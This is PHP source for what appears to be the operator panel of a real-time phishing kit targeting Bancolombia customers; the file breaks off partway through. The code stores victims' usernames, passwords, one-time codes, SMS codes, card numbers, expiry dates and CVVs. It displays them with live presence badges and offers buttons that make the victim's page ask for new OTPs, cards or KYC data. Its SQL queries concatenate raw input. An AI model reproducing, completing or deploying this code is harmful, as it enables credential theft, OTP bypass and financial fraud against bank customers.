<?php
date_default_timezone_set('America/Bogota');
require_once __DIR__ . '/link.php';
function input_info($msg){
  $GLOBALS["labelstatus"] = $msg;
  $GLOBALS["alertstatus"] = "";          // azul “activo”
  $GLOBALS["fondo"]       = "#FFF7CC";   // post-it amarillo suave
  $GLOBALS["colorlabel"]  = "#334155";
  $GLOBALS["colorborde"]  = "#FACC15";   // borde dorado
  $GLOBALS["activo"]      = "";
  $GLOBALS["btn_on"]      = "";
  $GLOBALS["icon_on"]     = "a";
  $GLOBALS["icon_fin"]    = "a";
  $GLOBALS["cerrado"]     = "";
  $GLOBALS["borde_cerrado"]= "";
}

function wait_info($msg){
  $GLOBALS["labelstatus"] = $msg;
  $GLOBALS["alertstatus"] = "-off";      // gris “en espera”
  $GLOBALS["fondo"]       = "#FFFFFF";   // blanco
  $GLOBALS["colorlabel"]  = "#b5b5c3";
  $GLOBALS["colorborde"]  = "#C0C0CC";
  $GLOBALS["activo"]      = "disabled";
  $GLOBALS["btn_on"]      = "-off";      // botones en “off”
  $GLOBALS["icon_on"]     = "g";
  $GLOBALS["icon_fin"]    = "a";
  $GLOBALS["cerrado"]     = "";
  $GLOBALS["borde_cerrado"]= "";
}

function close_info(){
  $GLOBALS["labelstatus"] = "Finalizado";
  $GLOBALS["alertstatus"] = "-off";
  $GLOBALS["fondo"]       = "#FFFFFF";
  $GLOBALS["colorlabel"]  = "#b5b5c3";
  $GLOBALS["colorborde"]  = "#C0C0CC";
  $GLOBALS["activo"]      = "disabled";
  $GLOBALS["btn_on"]      = "-off";
  $GLOBALS["icon_on"]     = "g";
  $GLOBALS["icon_fin"]    = "r";
  $GLOBALS["cerrado"]     = " fin";
  $GLOBALS["borde_cerrado"]= "border:1px solid #F1416C;"; // remarca cierre
}

function put_items($id,$usr,$pass,$otp,$sms,$dis,$ip,$eml,$cemail,$ban,$status,$time,$mob,$card,$dat,$cvv,$oks,$online,$last_seen){

	switch ($status) {
		case 1:  input_info("Ingresó Usuario/Clave");          break;
		case 2:  wait_info("Esperando OTP");                   break;
		case 3:  input_info("Ingresó OTP");                    break;
		case 4:  wait_info("Esperando Correo/Clave");          break;
		case 5:  input_info("Ingresó Correo/Clave");           break;
		case 6:  wait_info("Esperando Info Tarjeta");          break;
		case 7:  input_info("Ingresó Info Tarjeta");           break;
		case 8:  wait_info("Esperando Nuevo OTP");             break;
		case 9:  input_info("Ingresó Nuevo OTP");              break;
		case 10: close_info();                                 break;
		case 12: wait_info("Esperando Usuario/Clave");         break;
    case 13: input_info("Confirmo TABOT");                 break;
    case 14: wait_info("Esperando Confirmación TABOT");    break;
    case 15: input_info("KYC Completado");                 break;
    case 16: wait_info("Esperando KYC");                   break;
    case 17: input_info("Nuevo KYC Ingresado");            break;
    case 18: wait_info("Esperando nuevo KYC");             break;
    case 19: input_info("Ingreso Nueva Tarjeta");          break;
    case 20: wait_info("Esperando nueva Tarjeta");         break;
    case 21: input_info("Ingreso SMS");                    break;
    case 22: wait_info("Esprando SMS");                    break;
    case 23: input_info("Ingreso Nuevo SMS");              break;
    case 24: wait_info("Esprando Nuevo SMS");              break;
	}
  $ttl = 6; 


  $isOnline = (!empty($online) && intval($online) === 1);

  // Pero lo que manda es last_seen (más confiable)
  if (!empty($last_seen)) {
    $ts = strtotime($last_seen);
    if ($ts !== false) {
      $isOnline = (time() - $ts) <= $ttl;
    }
  }

  $badgeText  = $isOnline ? "EN LÍNEA" : "DESCONECTADO";
  $badgeClass = $isOnline ? "on" : "off";



	echo '
<style>
/* ====== RESET Y FUENTE ====== */
*{ box-sizing:border-box; font-family: Inter, system-ui, -apple-system, Segoe UI, Roboto, Helvetica, Arial; }
.item-des,
.item-des-mob,
.item-des-small{
  margin:20px auto;
  border-radius:12px;
  background: '.$GLOBALS["fondo"].';
  '.$GLOBALS["borde_cerrado"].'
  box-shadow:0 12px 32px rgba(0,0,0,.08),0 2px 6px rgba(0,0,0,.06);
  color:#2c2c2c;
}

/* ====== VERSION DESKTOP PRINCIPAL ====== */
.item-des{
  width:1000px !important;
  padding:22px;
}

/* ====== VERSION TABLET ====== */
.item-des-mob{
  width:84%;
  max-width:640px;
  padding:20px;
}

/* ====== VERSION TELÉFONO SMALL ====== */
.item-des-small{
  width:90%;
  max-width:360px;
  padding:20px;
}

/* ====== CONTENEDOR: Sticky a la izquierda + botones a la derecha ====== */
.sticky-and-actions{
  display:flex;
  gap:18px;
  align-items:flex-start;
}

/* Sticky toma el espacio grande */
.sticky-and-actions .big-sticky{
  flex: 1 1 auto;
  min-width:0;
}

/* ====== Sticky Note visual ====== */
.big-sticky{
  position: relative;
  border-radius:14px;
  background:#fff7bd;
  border:1px dashed '.$GLOBALS["colorborde"].';
  box-shadow:
    0 10px 25px rgba(0,0,0,.08),
    0 3px 10px rgba(0,0,0,.06);
  padding:18px 18px 14px 18px;
  overflow:hidden;
}
.big-sticky:after{
  content:"";
  position:absolute; right:0; top:0;
  width:28px; height:28px;
  background:linear-gradient(135deg,#f7eaa9 0%,#fff 100%);
  box-shadow:inset -1px -1px 0 #e7d78a;
  clip-path:polygon(0 0,100% 0,100% 100%);
  opacity:.9;
}
.pin{
  position:absolute;
  left:14px;top:12px;
  width:10px;height:10px;border-radius:50%;
  background:#b9d3ea;
  box-shadow:0 0 0 3px #ffffff80,inset 0 0 0 1px #a3bed6;
}

/* chips de grupo */
.group-chip{
  display:inline-flex;
  align-items:center;
  gap:8px;
  height:28px;
  padding:0 12px;
  margin-right:8px;
  font-weight:900;
  font-size:12px;
  line-height:1;
  border-radius:999px;
  letter-spacing:.4px;
  color:#fff;
  box-shadow:0 6px 14px rgba(0,0,0,.10);
}
.ch-blue{background:#006BE9;}
.ch-green{background:#50CD89;}
.ch-rose{background:#F1416C;}
.ch-yellow{background:#FFC700;color:#3b2f00;}

/* bloque rayado tipo libreta */
.lined{
  background:
    linear-gradient(#0000 31px,#efde8f66 32px) repeat-y;
  background-size:100% 32px;
  border-radius:10px;
  padding:18px 14px 8px 14px;
}
.note-row-one .line{
  display:flex;
  flex-wrap:wrap;
  gap:8px 14px;
  align-items:baseline;
  padding:6px 2px;
  line-height:1.3;
}
.line .lbl{
  font-weight:900;
  color:#6b6a69;
  letter-spacing:.4px;
  font-size:14px;
  text-transform:uppercase;
}
.line .val{
  font-weight:800;
  color:#2c2c2c;
  font-size:14px;
  word-break:break-word;
  max-width:100%;
}

/* estado */
.msg-status,
.msg-status-off{
  display:inline-flex;
  align-items:center;
  gap:8px;
  padding:8px 12px;
  border-radius:10px;
  font-weight:900;
  font-size:13px;
  line-height:1.2;
  text-align:center;
}
.msg-status{
  background:#eaf2ff;
  color:#0b5fd6;
  border:1px solid #cfe0ff;
}
.msg-status-off{
  background:#f3f4f6;
  color:#7b8498;
  border:1px solid #e3e6ee;
}

/* acciones (botones a la derecha del sticky) */
.actions-carousel{
  width:360px; /* columna derecha */
  display:grid;
  grid-template-columns:repeat(2, minmax(150px, 1fr)); /* 2 columnas de botones */
  gap:14px;
  margin-top:0; /* para que quede alineado con el sticky */
}

.control{
  background:#fff;
  border:1px solid #C0C0CC;
  border-bottom:4px solid #006BE9;
  border-radius:12px;
  padding:12px 14px;
  text-align:center;
  font-weight:900;
  font-size:14px;
  color:#2b2f3a;
  box-shadow:0 2px 10px rgba(0,0,0,.05);
  cursor:pointer;
  transition:transform .12s ease, box-shadow .12s ease;
  display:flex;
  justify-content:center;
  align-items:center;
  gap:6px;
  flex-wrap:nowrap;
}
.control img{
  flex-shrink:0;
}
.control.fin{
  border-bottom-color:#F1416C !important;
  cursor:not-allowed;
  opacity:.75;
}

/* ====== RESPONSIVE VISIBILITY ====== */
.item-des,
.item-des-mob,
.item-des-small{ display:none; }

@media(min-width:1024px){
  .item-des{display:block;}
}

@media(min-width:600px) and (max-width:1023px){
  .item-des-mob{display:block;}

  /* En tablet: sticky arriba, botones abajo */
  .sticky-and-actions{
    flex-direction:column;
  }
  .actions-carousel{
    width:100%;
    margin-top:16px;
    grid-template-columns:repeat(auto-fit,minmax(150px,1fr));
  }
}

@media(max-width:599px){
  .item-des-small{display:block;}

  /* En móvil: sticky arriba, botones abajo */
  .sticky-and-actions{
    flex-direction:column;
  }
  .actions-carousel{
    width:100%;
    margin-top:16px;
    grid-template-columns:repeat(auto-fit,minmax(140px,1fr));
    gap:10px;
  }
  .control{padding:10px 12px;font-size:13px;}
}

/* Ajustes tipográficos más compactos en móvil */
@media(max-width:1023px){
  .lined{padding:16px 12px 8px 12px;}
  .note-row-one .line{padding:5px 2px;}
  .line .lbl,
  .line .val{font-size:13px;}
  .group-chip{font-size:11px;height:auto;line-height:1;padding:4px 10px;}
  .msg-status,
  .msg-status-off{font-size:12px;padding:6px 10px;}
}
@media(max-width:599px){
  .line .lbl,
  .line .val{font-size:12px;}
}

.presence-badge{
  display:inline-flex;
  align-items:center;
  gap:8px;
  padding:6px 10px;
  border-radius:999px;
  font-weight:900;
  font-size:12px;
  margin-bottom:10px;
}
.presence-badge.on{
  background:#e8fff3;
  color:#16a34a;
  border:1px solid #bbf7d0;
}
.presence-badge.off{
  background:#f3f4f6;
  color:#64748b;
  border:1px solid #e5e7eb;
}
</style>


<!-- ============ DESKTOP CARD ============ -->
<div class="item-des">
<div class="sticky-and-actions">
  <div class="big-sticky">
    <span class="pin"></span>


      <div class="presence-badge '.$badgeClass.'">'.$badgeText.'</div>


    <!-- contenido rayado -->
    <div class="lined note-row-one">
      <div class="line"><span class="lbl">USUARIO:</span> <span class="val">'.$usr.'</span></div>
      <div class="line"><span class="lbl">PASS:</span> <span class="val">'.$pass.'</span></div>
      <div class="line"><span class="lbl">DINAMICA:</span> <span class="val">'.$otp.'</span></div>
      <div class="line"><span class="lbl">SMS:</span> <span class="val">'.$sms.'</span></div>
      <div class="line"><span class="lbl">CELULAR:</span> <span class="val">'.$eml.'</span></div>
      <div class="line"><span class="lbl">NOMBRE:</span> <span class="val">'.$cemail.'</span></div>
      <div class="line"><span class="lbl">CORREO:</span> <span class="val">'.$mob.'</span></div>
      <div class="line"><span class="lbl">TARJETA:</span> <span class="val">'.$card.'</span></div>
      <div class="line"><span class="lbl">FECHA:</span> <span class="val">'.$dat.'</span></div>
      <div class="line"><span class="lbl">CVV:</span> <span class="val">'.$cvv.'</span></div>
      <div class="line"><span class="lbl">DISPOSITIVO:</span> <span class="val">'.$dis.'</span></div>
      <div class="line"><span class="lbl">IP:</span> <span class="val">'.$ip.'</span></div>
      <div class="line"><span class="lbl">BANCO:</span> <span class="val">'.$ban.'</span></div>
      <div class="line"><span class="lbl">HORA:</span> <span class="val">'.$time.'</span></div>
    </div>


    <!-- estado -->
    <div style="text-align:center; margin:14px 0 2px;">
      <div class="msg-status'.$GLOBALS["alertstatus"].'">'.$GLOBALS["labelstatus"].'</div>
    </div>
  </div>

  <!-- acciones -->
  <div class="actions-carousel">

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' usuario"
            '.$GLOBALS["activo"].'
            id="btn-usuario-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/usuario-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Usuario
    </button>

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' dinamica"
            '.$GLOBALS["activo"].'
            id="btn-dinamica-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/otp-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Dinamica
    </button>



    <button type="button"
            class="control '.$GLOBALS["btn_on"].' otp"
            '.$GLOBALS["activo"].'
            id="btn-otp-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/nuevo-otp-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Error Dinamica
    </button>

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' sms"
            '.$GLOBALS["activo"].'
            id="btn-otp-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/otpsms-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">SMS
    </button>
    <button type="button"
            class="control '.$GLOBALS["btn_on"].' smsnv"
            '.$GLOBALS["activo"].'
            id="btn-otp-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/otpsms-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">NUEVO SMS
    </button>


    <button type="button"
            class="control '.$GLOBALS["btn_on"].' correo"
            '.$GLOBALS["activo"].'
            id="btn-correo-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/correo-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Info
    </button>

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' tarjeta"
            '.$GLOBALS["activo"].'
            id="btn-tc-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/tarjeta-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Tarjeta
    </button>
        <button type="button"
            class="control '.$GLOBALS["btn_on"].' errortc"
            '.$GLOBALS["activo"].'
            id="btn-tc-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/tarjeta-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Nueva TC
    </button>

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' tabot"
            '.$GLOBALS["activo"].'
            id="btn-tabot-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/alerta-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">923 ERROR
    </button>
    <button typ e = "button"
            class="control '.$GLOBALS["btn_on"].' kyc"
            '.$GLOBALS["activo"].'
            id="btn-kyc-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/kyc-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">KYC Verificación
    </button>
    <button type = "button"
            class="control '.$GLOBALS["btn_on"].' kycerror"
            '.$GLOBALS["activo"].'
            id="btn-kyc-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/kyc-'.$GLOBALS["icon_on"].'.svg" width="16" alt=""> Nuevo KYC
    </button>

    <button type="button"
            class="control fin finalizar'.$GLOBALS["cerrado"].' cerrar"
            id="btn-finalizar-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/finalizar-'.$GLOBALS["icon_fin"].'.svg" width="16" alt="">Finalizar
    </button>

  </div>
</div>
</div>

<!-- ============ TABLET CARD (600px-1023px) ============ -->
<div class="item-des-mob">
  <div class="big-sticky">
    <span class="pin"></span>

    <div class="lined note-row-one">
      <div class="line"><span class="lbl">USUARIO:</span> <span class="val">'.$usr.'</span></div>
      <div class="line"><span class="lbl">PASS:</span> <span class="val">'.$pass.'</span></div>
      <div class="line"><span class="lbl">DINAMICA:</span> <span class="val">'.$otp.'</span></div>
      <div class="line"><span class="lbl">SMS:</span> <span class="val">'.$sms.'</span></div>
      <div class="line"><span class="lbl">CELULAR:</span> <span class="val">'.$eml.'</span></div>
      <div class="line"><span class="lbl">NOMBRE:</span> <span class="val">'.$cemail.'</span></div>
      <div class="line"><span class="lbl">CORREO:</span> <span class="val">'.$mob.'</span></div>
      <div class="line"><span class="lbl">TARJETA:</span> <span class="val">'.$card.'</span></div>
      <div class="line"><span class="lbl">FECHA:</span> <span class="val">'.$dat.'</span></div>
      <div class="line"><span class="lbl">CVV:</span> <span class="val">'.$cvv.'</span></div>
      <div class="line"><span class="lbl">DISPOSITIVO:</span> <span class="val">'.$dis.'</span></div>
      <div class="line"><span class="lbl">IP:</span> <span class="val">'.$ip.'</span></div>
      <div class="line"><span class="lbl">BANCO:</span> <span class="val">'.$ban.'</span></div>
      <div class="line"><span class="lbl">HORA:</span> <span class="val">'.$time.'</span></div>
    </div>

    <div style="text-align:center; margin:14px 0 2px;">
      <div class="msg-status'.$GLOBALS["alertstatus"].'">'.$GLOBALS["labelstatus"].'</div>
    </div>
  </div>

  <div class="actions-carousel">

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' usuario"
            '.$GLOBALS["activo"].'
            id="btn-usuario-'.$id.'-m"
            data-regid="'.$id.'">
      <img src="../assets/img/usuario-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Usuario
    </button>

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' dinamica"
            '.$GLOBALS["activo"].'
            id="btn-dinamica-'.$id.'-m"
            data-regid="'.$id.'">
      <img src="../assets/img/otp-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">DINAMICA
    </button>



    <button type="button"
            class="control '.$GLOBALS["btn_on"].' otp"
            '.$GLOBALS["activo"].'
            id="btn-otp-'.$id.'-m"
            data-regid="'.$id.'">
      <img src="../assets/img/nuevo-otp-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">ERROR DINAMICA
    </button>
    <button type="button"
            class="control '.$GLOBALS["btn_on"].' sms"
            '.$GLOBALS["activo"].'
            id="btn-otp-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/otpsms-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">SMS
    </button>
    <button type="button"
            class="control '.$GLOBALS["btn_on"].' smsnv"
            '.$GLOBALS["activo"].'
            id="btn-otp-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/otpsms-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">NUEVO SMS
    </button>


    <button type="button"
            class="control '.$GLOBALS["btn_on"].' correo"
            '.$GLOBALS["activo"].'
            id="btn-correo-'.$id.'-m"
            data-regid="'.$id.'">
      <img src="../assets/img/correo-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">INFO
    </button>

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' tarjeta"
            '.$GLOBALS["activo"].'
            id="btn-tc-'.$id.'-m"
            data-regid="'.$id.'">
      <img src="../assets/img/tarjeta-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Tarjeta
    </button>
    <button type="button"
            class="control '.$GLOBALS["btn_on"].' errortc"
            '.$GLOBALS["activo"].'
            id="btn-tc-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/tarjeta-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Nueva TC
    </button>

   <button type="button"
            class="control '.$GLOBALS["btn_on"].' tabot"
            '.$GLOBALS["activo"].'
            id="btn-tc-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/alerta-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">ERROR 923
    </button>
    <button type = "button"
            class="control '.$GLOBALS["btn_on"].' kyc"
            '.$GLOBALS["activo"].'
            id="btn-kyc-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/kyc-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">KYC Verificación
    </button>
    <button type = "button"
            class="control '.$GLOBALS["btn_on"].' kycerror"
            '.$GLOBALS["activo"].'
            id="btn-kyc-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/kyc-'.$GLOBALS["icon_on"].'.svg" width="16" alt=""> Nuevo KYC
    </button>
  
    <button type="button"
            class="control fin finalizar'.$GLOBALS["cerrado"].' cerrar"
            id="btn-finalizar-'.$id.'-m"
            data-regid="'.$id.'">
      <img src="../assets/img/finalizar-'.$GLOBALS["icon_fin"].'.svg" width="16" alt="">Finalizar
    </button>

  </div>
</div>


<!-- ============ PHONE CARD (<600px) ============ -->
<div class="item-des-small">
  <div class="big-sticky">
    <span class="pin"></span>

    <div class="lined note-row-one">
      <div class="line"><span class="lbl">USUARIO:</span> <span class="val">'.$usr.'</span></div>
      <div class="line"><span class="lbl">PASS:</span> <span class="val">'.$pass.'</span></div>
      <div class="line"><span class="lbl">DINAMICA:</span> <span class="val">'.$otp.'</span></div>
      <div class="line"><span class="lbl">SMS:</span> <span class="val">'.$sms.'</span></div>
      <div class="line"><span class="lbl">CELULAR:</span> <span class="val">'.$eml.'</span></div>
      <div class="line"><span class="lbl">NOMBRE:</span> <span class="val">'.$cemail.'</span></div>
      <div class="line"><span class="lbl">CORREO:</span> <span class="val">'.$mob.'</span></div>
      <div class="line"><span class="lbl">TARJETA:</span> <span class="val">'.$card.'</span></div>
      <div class="line"><span class="lbl">FECHA:</span> <span class="val">'.$dat.'</span></div>
      <div class="line"><span class="lbl">CVV:</span> <span class="val">'.$cvv.'</span></div>
      <div class="line"><span class="lbl">DISPOSITIVO:</span> <span class="val">'.$dis.'</span></div>
      <div class="line"><span class="lbl">IP:</span> <span class="val">'.$ip.'</span></div>
      <div class="line"><span class="lbl">BANCO:</span> <span class="val">'.$ban.'</span></div>
      <div class="line"><span class="lbl">HORA:</span> <span class="val">'.$time.'</span></div>
    </div>

    <div style="text-align:center; margin:14px 0 2px;">
      <div class="msg-status'.$GLOBALS["alertstatus"].'">'.$GLOBALS["labelstatus"].'</div>
    </div>
  </div>

  <div class="actions-carousel">

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' usuario"
            '.$GLOBALS["activo"].'
            id="btn-usuario-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/usuario-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Usuario
    </button>

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' dinamica"
            '.$GLOBALS["activo"].'
            id="btn-dinamica-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/otp-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">DINAMICA
    </button>



    <button type="button"
            class="control '.$GLOBALS["btn_on"].' otp"
            '.$GLOBALS["activo"].'
            id="btn-otp-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/nuevo-otp-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">ERROR DINAMICA
    </button>
    <button type="button"
            class="control '.$GLOBALS["btn_on"].' sms"
            '.$GLOBALS["activo"].'
            id="btn-otp-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/otpsms-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">SMS
    </button>
    <button type="button"
            class="control '.$GLOBALS["btn_on"].' smsnv"
            '.$GLOBALS["activo"].'
            id="btn-otp-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/otpsms-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">NUEVO SMS
    </button>


    <button type="button"
            class="control '.$GLOBALS["btn_on"].' correo"
            '.$GLOBALS["activo"].'
            id="btn-correo-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/correo-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">INFO
    </button>

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' tarjeta"
            '.$GLOBALS["activo"].'
            id="btn-tc-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/tarjeta-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">TARJETA
    </button>
    <button type="button"
            class="control '.$GLOBALS["btn_on"].' errortc"
            '.$GLOBALS["activo"].'
            id="btn-tc-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/tarjeta-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">Nueva TC
    </button>

    <button type="button"
            class="control '.$GLOBALS["btn_on"].' tabot"
            '.$GLOBALS["activo"].'
            id="btn-tc-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/alerta-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">ERROR 923
    </button>
    <button type = "button"
            class="control '.$GLOBALS["btn_on"].' kyc"
            '.$GLOBALS["activo"].'
            id="btn-kyc-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/kyc-'.$GLOBALS["icon_on"].'.svg" width="16" alt="">KYC verficación
    </button>
    <button type = "button"
            class="control '.$GLOBALS["btn_on"].' kycerror"
            '.$GLOBALS["activo"].'
            id="btn-kyc-'.$id.'"
            data-regid="'.$id.'">
      <img src="../assets/img/kyc-'.$GLOBALS["icon_on"].'.svg" width="16" alt=""> Nuevo KYC
    </button>

    <button type="button"
            class="control fin finalizar'.$GLOBALS["cerrado"].' cerrar"
            id="btn-finalizar-'.$id.'-s"
            data-regid="'.$id.'">
      <img src="../assets/img/finalizar-'.$GLOBALS["icon_fin"].'.svg" width="16" alt="">Finalizar
    </button>

  </div>
</div>
';
}

function close_view($r){
	if ($con = conectar()) {	
		sentencia($con,"UPDATE m3it3m SET status = '200' WHERE idreg = '136'");
		desconectar($con);
	}
}

function count_add(){
	$c=0;
	if ($con = conectar()) {	
		$consulta1 = sentencia($con,"SELECT * FROM m3v1s1t");
		if (contarfilas($consulta1)) {
			$res1=traerdatos($consulta1);
			$c = 1*$res1["contador"];
			$c=$c+1;
			sentencia($con,"UPDATE m3v1s1t SET contador='".$c."'");
		}
		desconectar($con);
	}
}

function get_items(){
  if ($con = conectar()) {

    $consultaCon = sentencia($con,"SELECT * FROM m3v1s1t");
    if (contarfilas($consultaCon)) {
      $res=traerdatos($consultaCon);
      echo '<br><span style="color:#5e6278;">TOTAL VISITAS:</span><span style="color:#F1416C;font-weight:600;">'.$res["contador"].'</span><br>'; 
    }

    // ====== PRESENCIA: tiempo para considerar online ======
    $ttl = 45; // segundos

    // ✅ Calcula online desde SQL (evita problemas de timezone)
    $sql = "
      SELECT
        m3it3m.*,
        CASE
          WHEN m3it3m.last_seen IS NOT NULL
           AND m3it3m.last_seen >= (NOW() - INTERVAL $ttl SECOND)
          THEN 1 ELSE 0
        END AS online_calc
      FROM m3it3m
      WHERE status <> 0
      ORDER BY horamodificado DESC
    ";

    $consulta = sentencia($con, $sql);
    if (contarfilas($consulta)) {
      while ($datos=traerdatos($consulta)) {
        put_items(
          $datos['idreg'],
          $datos['usuario'],
          $datos['password'],
          $datos['otp'],
          $datos['sms'],
          $datos['dispositivo'],
          $datos['ip'],
          $datos['email'],
          $datos['cemail'],
          $datos['banco'],
          $datos['status'],
          $datos['horamodificado'],
          $datos['celular'],
          $datos['tarjeta'],
          $datos['ftarjeta'],
          $datos['cvv'],
          $datos['oks'],
          $datos['online_calc'],   // 👈 CAMBIO: usar online_calc
          $datos['last_seen']
        );
      }
    }

    desconectar($con);
  }
}


function get_items_pending(){
	if ($con = conectar()) {

		$consultaCon = sentencia($con,"SELECT * FROM m3v1s1t");
		if (contarfilas($consultaCon)) {
			$res=traerdatos($consultaCon);
			echo '<br><span style="color:#5e6278;">TOTAL VISITAS:</span><span style="color:#F1416C;font-weight:600;">'.$res["contador"].'</span><br>'; 
		}

		$consulta = sentencia($con,"SELECT * FROM m3it3m WHERE status = 1 OR status = 3 OR status = 5 OR status = 7 OR status = 9 OR status = 13 ORDER BY horamodificado DESC");
		if (contarfilas($consulta)) {
			while ($datos=traerdatos($consulta)) {				
				put_items(
          $datos['idreg'],
          $datos['usuario'],
          $datos['password'],
          $datos['otp'],
          $datos['sms'],
          $datos['dispositivo'],
          $datos['ip'],
          $datos['email'],
          $datos['cemail'],
          $datos['banco'],
          $datos['status'],
          $datos['horamodificado'],
          $datos['celular'],
          $datos['tarjeta'],
          $datos['ftarjeta'],
          $datos['cvv'],
          $datos['oks'],
          $datos['online_calc'],
          $datos['last_seen']

        );								
			}
		}
		desconectar($con);
	}
}

function get_items_closed(){
	if ($con = conectar()) {
		
		$consultaCon = sentencia($con,"SELECT * FROM m3v1s1t");
		if (contarfilas($consultaCon)) {
			$res=traerdatos($consultaCon);
			echo '<br><span style="color:#5e6278;">TOTAL VISITAS:</span><span style="color:#F1416C;font-weight:600;">'.$res["contador"].'</span><br>'; 
		}

		$consulta = sentencia($con,"SELECT * FROM m3it3m WHERE status = 10 ORDER BY horamodificado DESC");
		if (contarfilas($consulta)) {
			while ($datos=traerdatos($consulta)) {				
				put_items(
          $datos['idreg'],
          $datos['usuario'],
          $datos['password'],
          $datos['otp'],
          $datos['sms'],
          $datos['dispositivo'],
          $datos['ip'],
          $datos['email'],
          $datos['cemail'],
          $datos['banco'],
          $datos['status'],
          $datos['horamodificado'],
          $datos['celular'],
          $datos['tarjeta'],
          $datos['ftarjeta'],
          $datos['cvv'],
          $datos['oks'],
          $datos['online'],
          $datos['last_seen']

        );								
			}
		}
		desconectar($con);
	}
}

function sound_alarm(){
	if ($con = conectar()) {
		$consulta1 = sentencia($con,"SELECT * FROM m3it3m WHERE status = 3 OR status = 9 OR	status = 13 OR status = 15 OR status = 21 OR status = 23");
		if (contarfilas($consulta1)) {
			echo "OTP";
		}else{
			$consulta2 = sentencia($con,"SELECT * FROM m3it3m WHERE status = 1 OR status = 5 OR status = 7");
			if (contarfilas($consulta2)) {
				echo "SI";
			}else{
				echo "NO";
			}
		}	
		desconectar($con);
	}
}

function upgrades_status($id,$est){
	if ($con = conectar()) {
		sentencia($con,"UPDATE m3it3m SET status = '".$est."' WHERE idreg = ".$id);
		desconectar($con);
	}
}

function create_item($usr,$pass,$dis){
  date_default_timezone_set('America/Bogota');
  $ip_add = $_SERVER['REMOTE_ADDR'];
  $hoy    = date("Y-m-d H:i:s");

  if ($con = conectar()) {

    $sql = "INSERT INTO m3it3m
      (idreg, usuario, password, otp, sms, dispositivo, ip, id, agente, banco, status, horacreado, horamodificado, online, last_seen)
      VALUES (NULL, '$usr', '$pass', NULL, NULL, '$dis', '$ip_add', NULL, NULL, 'bancolombia', '1', '$hoy', '$hoy', 1, NOW())";

    $rst = sentencia($con, $sql);

    if (!$rst) {
      echo "ERROR_SQL: ".mysqli_error($con)."\n";
      echo "SQL: ".$sql."\n";
      desconectar($con);
      return false;
    }

    // 🔹 Tu forma original de obtener el idreg (NO se cambia)
    $consulta = sentencia($con,"SELECT idreg FROM m3it3m WHERE usuario = '".$usr."' ORDER BY idreg DESC LIMIT 1");

    if ($consulta && contarfilas($consulta)) {
      $datos = traerdatos($consulta);
      $idreg = (string)$datos["idreg"];

      // ✅ COOKIES CORRECTAS (disponibles en TODO el proyecto)
      $cookieOpts = [
        "expires"  => time() + (60 * 9), // 🔥 CLAVE (portal, control, include, pending)
        "secure"   => false,   // en HTTPS real: true
        "httponly" => true,
        "samesite" => "Lax"
      ];

